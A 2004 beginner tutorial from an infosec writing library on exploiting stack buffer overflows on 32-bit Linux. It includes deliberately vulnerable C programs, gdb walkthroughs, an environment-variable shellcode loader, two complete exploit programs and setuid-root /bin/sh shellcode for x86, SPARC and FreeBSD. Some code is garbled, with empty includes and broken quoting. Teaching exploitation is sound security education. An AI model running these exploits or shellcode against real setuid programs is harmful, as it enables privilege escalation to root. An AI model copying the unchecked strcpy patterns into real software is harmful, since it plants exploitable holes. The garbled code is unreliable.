Infosec Writers

The Infosec Writers Text Library

search →

Buffer Overflow for Beginners by **Daniel Hodson** on **09/01/04**

← back

BASICS

A starting point for this tutorial requires the readers to have a simple understanding of the C programming language, the way the stack and memory is organised, and asm knowledge is helpfull though not essential. (I always wanted to say that heh) When I refer to Buffer overflows throughout this article, I am refering to stack based overflows, there is a difference between stack based overflows, and heap based, though as your research progresses you will find that out.

[Before we go on any further I would like to give you some jargon because there is a lot of it throughout this tutorial, meaning you will have to learn it, and learn it well:]

ASM: abbreviation for assembly, which is a second generation programming language.

Buffer: A temporary stored place for data.

Register: This is used by your processer to hold information and control execution.

EIP: This is the instruction pointer which is a register, it points to your next command.

EBP: ebp is the base pointer, it points to the top of the stack, and when a function is called it is pushed, and popped on return.

Vulnerability: A software hole allowing an attacker to do malicious things.

Exploit: Takes advantage of a vulnerability.

`perl -e'print "A" x 1000'`: This is used by an attacker, it saves us time, it prints "A" 1000 times.

Core dump: This is what your program looked like just before it crashed, it is saved in a file usually called core.

GDB: General debugger, it is used to follow a programs execution, and to examine core files.

Shellcode: This is a bunch of asm instructions put in hex, we usually make eip point to our shellcode to get executed.

NOP: This is an assembly instruction, stands for No Operation meaning do nothing, this is good to point your EIP into.

lil endian: It is how memory addresses are stored on most systems, little bytes first.

Eggshell: This is usually what we store shellcode into, it just holds the instructions at a fixed location, then we point to that location and WHAM it gets executed.

Setuid/Setgid: These are basically file permissions, if they are set, then it means the program when you run it, will run it under a different user id, the importance of these programs are if we hack them, we can gain control of the other users account.

Shell: Usually an interactive prompt in which we run commands from, a setuid sh shell means we run a shell from a uid, hopefully 0 which is root.

[/jargon]

[side notes: to know before we get started:]

EIP:
Throughout all buffer overflow tutorials you will read about the importance of gaining control of the EIP register,why is this? Like it says in the jargon, this points to our next instruction.
Now a little bit of theory:
We have our shellcode (full of all the commands we want to run), and the eip in a normal case is pointing to the next command:
eip --> next_command.
Well for us to make the program run our code, we would usually make eip point to our shellcode, so:
eip --> shellcode.
As you can see, the importance of making eip point to our shellcode, is so we can get the commands executed.

NOPS: No operations are an important part of shellcode, imagine trying to point to a single address, that holds our shellcode, when the possibility of pointing to the correct address is slim, Nops make it easier, because they do nothing, they just go down until the next instruction, so imagine your shellcode in the environment, and we point to the wrong address which just so happens to have our NOPS:

```
0xbffffca8: NOP
0xbffffcac: NOP
0xbffffcb2: SHELLCODE
```

eip -> 0xbffffca8
In this example, eip is pointing to 0xbffffca8 which just so happens to hold a NOP instruction, so it gets executed just going down, and then viola we hit SHELLCODE. If you do not understand any of this now, dont worry, read on, get a basic idea, then come back.

[/side notes]

START OF TUTORIAL

Buffer overflows are a common vulnerability on all platforms, but are by far the most commonly exploited bug on the linux/unix Operating systems.
Commonly buffer overflows are exploited to change the flow in a programs execution, so that it points to a different memory address or overwrites crucial memory segments. If you know how memory is organised, you would know that on all x86 linux platforms, memory is organised in 4byte (32 bit) segments, consisting of a hex memory address, and will need to be converted to little endian byte ordering.

Buffer overflows are the result of stuffing more data into a programs buffer or input device than is defined/allowed for in the program. A simple example of a vulnerable program susceptible to a buffer overflow is given below:

```
--vuln1.c------------------------------------------------

#include #include
int main(int argc, char **argv)
{
        char buff[512];
        if(argc < 2)
        {
                printf('Usage: %s \n', argv[0]);
                exit(0);
        }
        strcpy(buff, argv[1]);
        printf('Your name: %s\n', buff);
        return 0;
}

---------------------------------------------------------
```

lets try by giving this program a test:

```
mercy@hewey:~/tut > gcc vuln1.c -o vuln1
mercy@hewey:~/tut > ./vuln1
Usage: ./vuln1 mercy@hewey:~/tut > ./vuln1 mercy
Your name: mercy
mercy@hewey:~/tut >
```

As we can see, this program is fully functional, and does what it is required to do. But lets see what happens when we fill buff (argv[1]) with more than 512 chars:

```
mercy@hewey:~/tut > ./vuln1 `perl -e'print 'A' x 516'`
Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
mercy@hewey:~/tut >
```

What happened there? the program crashed due to a segmentation fault - we filled the buffer with more data than it was defined to hold, in turn changing where our eip (instruction pointer) points too, ending in an illegal adress violation. Lets see exactly where, and why this program crashed by starting up our favourite debugger, gdb:

(Note: if you did not get a core dump it is most likely because you have not set a limit, at the command prompt type: ulimit -c unlimited: if this fails still, make sure you have write access in the executing directory, and make sure that the file is not suid, you will not get core dumps on suid files.)

```
mercy@hewey:~/tut > gdb -c core vuln1
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
.....
Core was generated by `./vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
.....
#0  0x4003bc00 in __libc_start_main () from /lib/libc.so.6
(gdb) info reg
.....
esp            0xbffff5d4       0xbffff5d4
ebp            0x41414141       0x41414141
esi            0x40016624       1073833508
edi            0x8048480        134513792
eip            0x4003bc00       0x4003bc00
.....
(gdb)
```

From this we can see that our ebp is pointing to the address: 0x41414141.
Now if you know your computer theory well, the hex value for the ascii character 'A' is actually 41, and the value we have overflown buff with is 'AAAA'.
Though still, we cannot gain access to the flow of execution if we do not have access to change the eip (unless you use the off by one technique for the ebp). The relation of ebp and eip on the stack is:

```
---------
EBP   |    4 bytes
---------
EIP    |    4 bytes
---------
```

From this diagram you can see that the ebp is four bytes before the eip, meaning if we overflow the buffer by 4 more bytes we can overwrite the eip with the address we supply. Lets try this example again:

```
mercy@hewey:~/tut > ./vuln1 `perl -e'print 'A' x 520'`
Your name:
.........
Segmentation fault (core dumped)
mercy@hewey:~/tut > gdb -c core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
....
Core was generated by `./vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) info reg
.....
ebp            0x41414141       0x41414141
esi            0x40016624       1073833508
edi            0x8048480        134513792
eip            0x41414141       0x41414141
eflags         0x210246 2163270
......
```

Ah ha, we have done it, we changed the programs instruction pointer to point to the address which we supplied, that being 0x41414141 (AAAA). So knowing this, we can supply an arbituary address that would hold our malicious code, this code can be anything we specify, though most beneficial would be a setuid sh shell.
The code must be stored at any readable/writeable address on the system, so you will need to get the shellcode and store it. A tutorial on writing your own shellcode will be posted on the site as soon as possible.
For the time being, use the shellcode presented at the bottom of this tutorial.
So now our objective is to store our code in an address, obtain the address, and overflow the buffer to point to our address.
Now we will have to compile some code.
Our eggshell code will look like so:

```
--egg1.c-------------------------------------------------

#include #define NOP 0x90

char shellcode[] =
'\x31\xc0\x31\xdb\x31\xd2\x53\x68\x69\x74\x79\x0a\x68\x65\x63'
'\x75\x72\x68\x44\x4c\x20\x53\x89\xe1\xb2\x0f\xb0\x04\xcd\x80'
'\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e'
'\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53'
'\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80';

int main(void)
{
  char shell[512];
  puts('Eggshell loaded into environment.');
  memset(shell,NOP,512);
  memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
  setenv('EGG', shell, 1);
  putenv(shell);
 system('bash');
  return(0);
}

---------------------------------------------------
```

To find the address of our eggshell, we could go through the core dump trying to find it, or we could just as easily write up a basic program that finds the location:

```
--eggfind.c-------------------------------------------------

#include
int main(void)
{
   printf('0x%lx\n', getenv('EGG'));
   return 0;
}

--------------------------------------------------------------

/*NOTE: Some different methods of exploitation/shellcode will be shown at the bottom of the article. */
/* From further research, the above code will not find the address of EGG in the vulnerable programs address space
     it will more than likely just be a lucky guess and reach the NOP's. I will study more and put exact code up asap. */
```

So, we have stored our address into memory, and retrieved it, there is a little more we have to do to it. If we are using a little endian byte ordering system, you will need to convert it. (Note: if you would like to learn more about little endian, or would like a more in-depth guide to converting, read my tutorial also presented on the site, little endian architectures are processors such as the x86)

```
mercy@hewey:~/tut > ./egg1
Eggshell loaded into environment.
bash-2.05$ ./eggfind
0xbffffb3c
bash-2.05$
```

From this we can see that our shellcode is stored at the address 0xbffffb3c
To convert this address to little endian, we must first remove the 0x - this is not necissary when converting. Now we must break the address up into two byte lots:

bf ff fb 3c

Now comes the converting, we grab the last byte of the address and move it to the first, and so on, though in doing so the start starts one position later. (A detailed diagram is presented in my article.)

So our converted little endian address will look like so:

3cfbffbf

before we can use this address, we must specify to printf (the function we will be using) that they are hex characters, so it does not interpret them as ascii, we add a \x before each byte, in turn making the address: \x3c\xfb\xbb\xbf

Now we must put all of this together to form our buffer overflow string, we are only going to fill the buffer with 516 'A's because if you remember, it only takes the last 4 bytes to change the pointed to memory address, and we overwrite our ebp with 516 characters, so in the last four bytes we will store our converted address.

Everything we have learnt put together:

```
bash-2.05$ ./vuln1 `perl -e'print 'A' x 516'``printf '\x3c\xfb\xff\xbf'`
Your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<ûÿ¿
DL Security
sh-2.05$ id
uid=529(mercy) gid=100(users) groups=100(users)
sh-2.05$
```

If this program was suid then of course, we would have been dropped into a root shell and had root privelages. Lets look at another basic example to give you another idea of exploiting buffer overflows in different situations, say the vulnerable program is trying to access an environmental variable.

```
--vuln2.c---------------------------------------------------

#include #include
int main(int argc, char **argv)
{
        char buff[512], *envpoint;
        if((envpoint = (char *)getenv('TEST')) == NULL)
        {
                printf('No environmental variable TEST.\n');
                return 0;
        }
        strcpy(buff, envpoint);
        printf('The environmental variable TEST holds: %s\n', buff);
        return 0;
}

---------------------------------------------------------
```

We can see from the code, that buff can only hold 512 characters as exploited previously, though this time it copys the string from an environmental variable instead of argv[1].

```
mercy@hewey:~/tut > gcc vuln2.c -o vuln2
mercy@hewey:~/tut > ./vuln2
No environmental variable TEST.
mercy@hewey:~/tut >
```

Here we obviously have not set anything for the environment variable TEST. So lets export a value for it and see how we go.

```
mercy@hewey:~/tut > export TEST='Digital Legion Security'
mercy@hewey:~/tut > ./vuln2
The environmental variable TEST holds: Digital Legion Security
mercy@hewey:~/tut >
```

Alright, so we can see it responds to our new variable, and has copyed TEST to buff. We know from the source that buff can only hold 512 characters, so from this we can exploit it in the same old way, lets give it a go, load the shellcode into the environment, get the address, and test it all out.

```
mercy@hewey:~/tut > ./egg1
Eggshell loaded into environment.
bash-2.05$ ./eggfind
0xbffffb3c
bash-2.05$ export TEST=`perl -e'print 'A' x 516'``printf '\x3c\xfb\xff\xbf'`
bash-2.05$ ./vuln2
The environmental variable TEST holds: .....AAAAAAAAAAAAAAAA....<ûÿ¿
DL Security
sh-2.05$
```

Again, no really new methods were introduced, just a different scenario. Sometimes when exploiting buffer overflows your shellcode does not work, this is most likely because you have not eliminated all the NULL characters, the shellcode presented at the bottom of this article should work in all basic situations, also different systems and architectures may use different sys calls, so if you come to a situation where you shellcode does not work, you will find you have to develop your own shellcode.

One problem a LOT of people find, is that tutorials dont relate to their work: hey my buffer is 512 like yours, though my eip gets overwritten at 584! There is an explanation for this, basically on a lot of newer linux/kernel distrobutions, you have what is known as junk between buffers and registers, this basically means that though you have specified 512, the program will put junk so instead of your perfect situation:

[EIP]
[EBP]
buffer[512];

You end up with something rather like:

[EIP]
[EBP]
[JUNK]
buffer[512];

With that it is unpredictable, or rather unpractical for me to go too in depth in this tutorial, basically for the moment try just brute forcing the amount of junk needed. A brief explanation will be given at the end for those that want to find the exact amount set aside.

EXPLOIT CODING

This section is just for those of you that would like to see some extremely basic exploit code for programs so you can start on the writing and development of your own. These two programs will exploit both of the vulnerable programs presented in this article.

```
/* -----exploit1.c ------------- */

#include #include #include
#define NOP 0x90      // defining the NOP
#define VUL_FILE './vuln1'

char shellcode[] =
                 '\x31\xc0\x31\xdb\x31\xd2\x53\x68\x69\x74\x79\x0a\x68\x65\x63'
                '\x75\x72\x68\x44\x4c\x20\x53\x89\xe1\xb2\x0f\xb0\x04\xcd\x80'
                '\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e' // our shellcode
                '\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53'
                '\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80';

unsigned long get_sp(void)
{
        __asm__('movl %esp, %eax');        // this function returns the stack pointer address, hopefully where
}                                                                                 // our shellcode is stored.

int main(int argc, char *argv[], char **envp)
{
        int buff = 520;            // size of the vuln buffer.
        unsigned long addr;       // addr of shellcode.
        char *ptr;     // used for adding nops etc.
        if(argc > 1)
                buff = atoi(argv[1]);      // if the user supplies a size, use this instead.

        if((buff % 4) != 0)                                              // if the size is not a mem addr (divisable by 4)
                buff = buff + 4 - (buff % 4);      // add 4 to it, take away the remainder (makes it divisable by 4)

        if((ptr = (char *)malloc(buff)) == NULL)     // check to see you allocated enough memory.
        {
                printf('Error allocating memory.\n');
                exit(0);
        }
        addr = get_sp();                  // get the address of our shellcode hopefully.
        memset(ptr, NOP, buff);         // fill the buffer with NOPS making our chances higher.
        memcpy(ptr + buff - strlen(shellcode) - 8, shellcode, strlen(shellcode));    // store the shellcode in the buffer.
        *(long *)&ptr[buff - 4] = addr;        // make eip point to our shellcode.
        execl(VUL_FILE, 'exploit example1', ptr, NULL);      // execute the vuln program with our NOPS&shellcode in the buffer.
        return 0;
}
/* --------------------------------------- */
```

This is the exploit for the second vulnerable program presented in this article.

```
/* -----exploit2.c ------------- */

// This may be a lil difficult for you to understand, basically we are putting our shellcode
// into the second argument to the program, overflowing the env-var TEST and making
// eip point to &argv[1].. hence where our shellcode is located.
// NOTE: the address will change from system to system, so it is up to you to find the addr :)

#include
#define ret 0xbffffa09  // &argv[1] of vuln prog.
#define VULN './test2'        // vuln program
#define SIZE 528         // size of buffer overflow.

char shellcode[] =
                \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'       // NOPS
                '\x31\xc0\x31\xdb\x31\xd2\x53\x68\x69\x74\x79\x0a\x68\x65\x63'
                '\x75\x72\x68\x44\x4c\x20\x53\x89\xe1\xb2\x0f\xb0\x04\xcd\x80'
                '\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e'     // shellcode
                '\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53'
                '\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80';

int main(int argc, char **argv, char **envp)
{
   char buffer[SIZE];  // a buffer of 528 char elements.
   memset(buffer, 'A', SIZE);     // fill it with 'A's
   buffer[SIZE - 4] = (ret & 0x000000ff);
   buffer[SIZE - 3] = (ret & 0x0000ff00) >> 8;
   buffer[SIZE - 2] = (ret & 0x00ff0000) >> 16;          // convert the last 4 bytes to lil endian (addr. of shellcode for EIP)
   buffer[SIZE - 1] = (ret & 0xff000000) >> 24;
   buffer[SIZE] = 0x00;                                                   // add a NULL byte to the end.
   setenv('TEST', buffer, 1);                                        // export the vulnerable env-var with our exploit buffer.
   execl(VULN, VULN, shellcode, NULL);            // run the vuln program, with shellcode in argv[1]
   return(0);
}
```

```
/* ---------------------------------------- */
```

Explanation of shellcode storage for exploit2.c:

Basically, we can store our shellcode anywhere we possibly can, this for most people means in an env-var, though there is nothing that says it has to be that, all options passed to a program are stored on the stack also, so this means if we find the address of argv[1], store our shellcode in argv[1] of the vuln program, and then make eip point to that location, it is the same as storing the shellcode in an env-var, finding the address of the env-var, and making eip point there.
Hope this gives you a few ideas in shellcode storage.

SHELLCODE FOR DIFFERENT ARCHITECTURES

```
SPARC/Solaris
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        ta      8
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      8
------------------------------------------------------------------------------

SPARC/SunOS
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        mov     -0x1, %l5
        ta      %l5 + 1
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      %l5 + 1
------------------------------------------------------------------------------

i386 LINUX:
------------------------------------------------------------------------------

        xor %eax,%eax
        xor %ebx, %ebx
        xor %ecx,%ecx
        mov $0x17, %eax         # setuid(0, 0)
        int $0x80
        xor %eax,%eax
        xor %edx,%edx
        push %ebx
        push $0x68732f6e
        push $0x69622f2f
        mov %esp, %ebx
        lea (%esp, 1), %edx          # execve //bin/sh
        push %eax
        push %ebx
        lea (%esp, 1), %ecx
        mov $0xb, %eax
        int $0x80
        xor %eax, %eax        #  exit
        mov $0x1, %eax
        int $0x80
------------------------------------------------------------------------------

(Written by mercy)

4.4-RELEASE FreeBSD:
------------------------------------------------------------------------------

   \xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b
   \x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53
   \xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff
   /bin/sh

------------------------------------------------------------------------------
```

SPARC/Solaris, SPARC/SunOS, taken from Aleph One's text in phrack magazine issue 49.
i386 LINUX, written by mercy.
4.4-RELEASE FreeBSD, taken from the hack.datafort challenges.

[NOTES:] I told you earlier that on a lot of the newer linux distrobutions you have what is known as junk between registers and buffers, and your buffer is not always as large as you specify it to be, here is an example of a buffer declared to hold an array of 100 elements:

```
//----junk.c-----
#include int main(void)
{
    char buffer[100];
    return(0);
}
//-----snip-------

[mercy@dtors mercy]$ ./junk
[mercy@dtors mercy]$ gdb ./junk -q
(gdb) disass main
Dump of assembler code for function main:
0x80482f4 :       push   %ebp
0x80482f5 :     mov    %esp,%ebp
0x80482f7 :     sub    $0x78,%esp         ##### WE ARE INTERESTED IN THIS #####
0x80482fa :     and    $0xfffffff0,%esp
0x80482fd :     mov    $0x0,%eax
0x8048302 :    sub    %eax,%esp
0x8048304 :    mov    $0x0,%eax
0x8048309 :    leave
0x804830a :    ret
0x804830b :    nop
End of assembler dump.
(gdb)
```

sub $0x78, this is setting aside space for the array buffer, though in hex, so $0x78 in decimal is: 120 So for this small program, buffer is infact 120 bytes long, so the overflow will look like:
[EIP]
[EBP]
buffer[120]

****

If you have any questions about the article above, or need help in any area with buffer overflows, feel free to contact mercy and he will eget back to you with relevant links or needed information asap.

mercy@dtors.net

REFERENCES:

http://www.dtors.net
http://www.rosiello.org

Rate this article 10 - best Submit →

Home | About Us | Contact Us | Privacy Policy | Site Map

RSS